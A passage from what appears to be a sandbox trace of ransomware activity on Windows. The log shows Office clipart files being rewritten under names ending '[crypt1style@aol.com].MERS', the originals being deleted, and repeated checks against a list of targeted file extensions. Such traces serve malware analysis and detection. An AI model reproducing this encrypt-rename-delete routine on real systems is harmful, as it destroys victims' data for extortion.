| out: lpNewFilePointer=0x0) returned 1 [0271.284] SetEndOfFile (hFile=0x3b4) returned 1 [0271.285] CloseHandle (hObject=0x3b4) returned 1 [0271.285] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.332] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif")) returned 1 [0271.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.332] lstrlenW (lpString=".doc") returned 4 [0271.332] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.332] lstrlenW (lpString=".docx") returned 5 [0271.332] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.332] lstrlenW (lpString=".pdf") returned 4 [0271.332] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.332] lstrlenW (lpString=".xls") returned 4 [0271.332] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.332] lstrlenW (lpString=".xlsx") returned 5 [0271.332] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.332] lstrlenW (lpString=".ppt") returned 4 [0271.332] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.332] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".zip") returned 4 [0271.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString=".rar") returned 4 [0271.333] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString=".bz2") returned 4 [0271.333] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.333] lstrlenW (lpString=".7z") returned 3 [0271.333] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".dbf") returned 4 [0271.333] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".1cd") returned 4 [0271.333] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".jpg") returned 4 [0271.333] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".doc") returned 4 [0271.333] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0271.333] lstrlenW (lpString=".docx") returned 5 [0271.333] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0271.333] lstrlenW (lpString=".pdf") returned 4 [0271.333] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString=".xls") returned 4 [0271.333] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString=".xlsx") returned 5 [0271.333] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0271.333] lstrlenW (lpString=".ppt") returned 4 [0271.333] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.333] lstrlenW (lpString=".zip") returned 4 [0271.333] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0271.333] lstrlenW (lpString=".rar") returned 4 [0271.334] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0271.334] lstrlenW (lpString=".bz2") returned 4 [0271.334] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0271.334] lstrlenW (lpString=".7z") returned 3 [0271.334] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0271.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.334] lstrlenW (lpString=".dbf") returned 4 [0271.334] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0271.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.334] lstrlenW (lpString=".1cd") returned 4 [0271.334] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0271.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF") returned 63 [0271.334] lstrlenW (lpString=".jpg") returned 4 [0271.334] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0271.334] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.334] lstrlenW (lpString="BD19988_.WMF") returned 12 [0271.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.345] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=18304) returned 1 [0271.345] CloseHandle (hObject=0x3c8) returned 1 [0271.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 0x20 [0271.374] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0271.377] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.377] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0271.379] GetLastError () returned 0x0 [0271.379] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x4780, lpOverlapped=0x0) returned 1 [0271.488] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x4790, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x4790, lpOverlapped=0x0) returned 1 [0271.489] ReadFile (in: hFile=0x3ac, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0271.489] WriteFile (in: hFile=0x360, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.489] SetEndOfFile (hFile=0x360) returned 1 [0271.490] CloseHandle (hObject=0x360) returned 1 [0271.490] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.490] SetEndOfFile (hFile=0x3ac) returned 1 [0271.493] CloseHandle (hObject=0x3ac) returned 1 [0271.493] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.493] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19988_.wmf")) returned 1 [0271.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.493] lstrlenW (lpString=".doc") returned 4 [0271.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.493] lstrlenW (lpString=".docx") returned 5 [0271.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.493] lstrlenW (lpString=".pdf") returned 4 [0271.494] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString=".xls") returned 4 [0271.494] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.494] lstrlenW (lpString=".xlsx") returned 5 [0271.494] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.494] lstrlenW (lpString=".ppt") returned 4 [0271.494] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.494] lstrlenW (lpString=".zip") returned 4 [0271.494] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.494] lstrlenW (lpString=".rar") returned 4 [0271.494] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString=".bz2") returned 4 [0271.494] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString=".7z") returned 3 [0271.494] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.494] lstrlenW (lpString=".dbf") returned 4 [0271.494] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.494] lstrlenW (lpString=".1cd") returned 4 [0271.494] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.494] lstrlenW (lpString=".jpg") returned 4 [0271.494] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.494] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.495] lstrlenW (lpString=".doc") returned 4 [0271.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString=".docx") returned 5 [0271.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.495] lstrlenW (lpString=".pdf") returned 4 [0271.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString=".xls") returned 4 [0271.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.495] lstrlenW (lpString=".xlsx") returned 5 [0271.495] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.495] lstrlenW (lpString=".ppt") returned 4 [0271.495] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.495] lstrlenW (lpString=".zip") returned 4 [0271.495] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.495] lstrlenW (lpString=".rar") returned 4 [0271.495] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString=".bz2") returned 4 [0271.495] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString=".7z") returned 3 [0271.495] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.495] lstrlenW (lpString=".dbf") returned 4 [0271.495] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.495] lstrlenW (lpString=".1cd") returned 4 [0271.495] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19988_.WMF") returned 63 [0271.496] lstrlenW (lpString=".jpg") returned 4 [0271.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.513] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.513] lstrlenW (lpString="BL00045_.WMF") returned 12 [0271.513] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.513] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=7862) returned 1 [0271.513] CloseHandle (hObject=0x3c8) returned 1 [0271.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 0x20 [0271.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0271.514] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.514] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.514] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0271.515] GetLastError () returned 0x0 [0271.515] ReadFile (in: hFile=0x3c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x1eb6, lpOverlapped=0x0) returned 1 [0271.583] WriteFile (in: hFile=0x410, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x1ec0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x1ec0, lpOverlapped=0x0) returned 1 [0271.584] ReadFile (in: hFile=0x3c8, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0271.584] WriteFile (in: hFile=0x410, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.584] SetEndOfFile (hFile=0x410) returned 1 [0271.584] CloseHandle (hObject=0x410) returned 1 [0271.584] SetFilePointerEx (in: hFile=0x3c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.584] SetEndOfFile (hFile=0x3c8) returned 1 [0271.797] CloseHandle (hObject=0x3c8) returned 1 [0271.797] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.830] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00045_.wmf")) returned 1 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString=".doc") returned 4 [0271.845] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString=".docx") returned 5 [0271.845] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.845] lstrlenW (lpString=".pdf") returned 4 [0271.845] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString=".xls") returned 4 [0271.845] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.845] lstrlenW (lpString=".xlsx") returned 5 [0271.845] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.845] lstrlenW (lpString=".ppt") returned 4 [0271.845] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString=".zip") returned 4 [0271.845] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.845] lstrlenW (lpString=".rar") returned 4 [0271.845] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString=".bz2") returned 4 [0271.845] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString=".7z") returned 3 [0271.845] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString=".dbf") returned 4 [0271.845] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString=".1cd") returned 4 [0271.845] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.845] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.845] lstrlenW (lpString=".jpg") returned 4 [0271.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString=".doc") returned 4 [0271.846] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString=".docx") returned 5 [0271.846] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.846] lstrlenW (lpString=".pdf") returned 4 [0271.846] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString=".xls") returned 4 [0271.846] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.846] lstrlenW (lpString=".xlsx") returned 5 [0271.846] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.846] lstrlenW (lpString=".ppt") returned 4 [0271.846] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString=".zip") returned 4 [0271.846] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.846] lstrlenW (lpString=".rar") returned 4 [0271.846] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString=".bz2") returned 4 [0271.846] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString=".7z") returned 3 [0271.846] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString=".dbf") returned 4 [0271.846] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString=".1cd") returned 4 [0271.846] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.846] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00045_.WMF") returned 63 [0271.846] lstrlenW (lpString=".jpg") returned 4 [0271.846] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.847] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0271.847] lstrlenW (lpString="BL00148_.WMF") returned 12 [0271.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.847] GetFileSizeEx (in: hFile=0x408, lpFileSize=0x2beff1c | out: lpFileSize=0x2beff1c*=1696) returned 1 [0271.847] CloseHandle (hObject=0x408) returned 1 [0271.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 0x20 [0271.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0271.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x408 [0271.847] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.847] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0271.848] GetLastError () returned 0x0 [0271.848] ReadFile (in: hFile=0x408, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x6a0, lpOverlapped=0x0) returned 1 [0271.910] WriteFile (in: hFile=0x3d8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0x6b0, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0x6b0, lpOverlapped=0x0) returned 1 [0271.911] ReadFile (in: hFile=0x408, lpBuffer=0x3840020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2befed4, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesRead=0x2befed4*=0x0, lpOverlapped=0x0) returned 1 [0271.911] WriteFile (in: hFile=0x3d8, lpBuffer=0x3840020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2befc9c, lpOverlapped=0x0 | out: lpBuffer=0x3840020*, lpNumberOfBytesWritten=0x2befc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.911] SetEndOfFile (hFile=0x3d8) returned 1 [0271.911] CloseHandle (hObject=0x3d8) returned 1 [0271.911] SetFilePointerEx (in: hFile=0x408, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2befec8 | out: lpNewFilePointer=0x0) returned 1 [0271.911] SetEndOfFile (hFile=0x408) returned 1 [0271.919] CloseHandle (hObject=0x408) returned 1 [0271.919] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0271.960] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00148_.wmf")) returned 1 [0271.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00148_.WMF") returned 63 [0271.973] lstrlenW (lpString=".doc") returned 4 [0271.973] lstrcmpiW 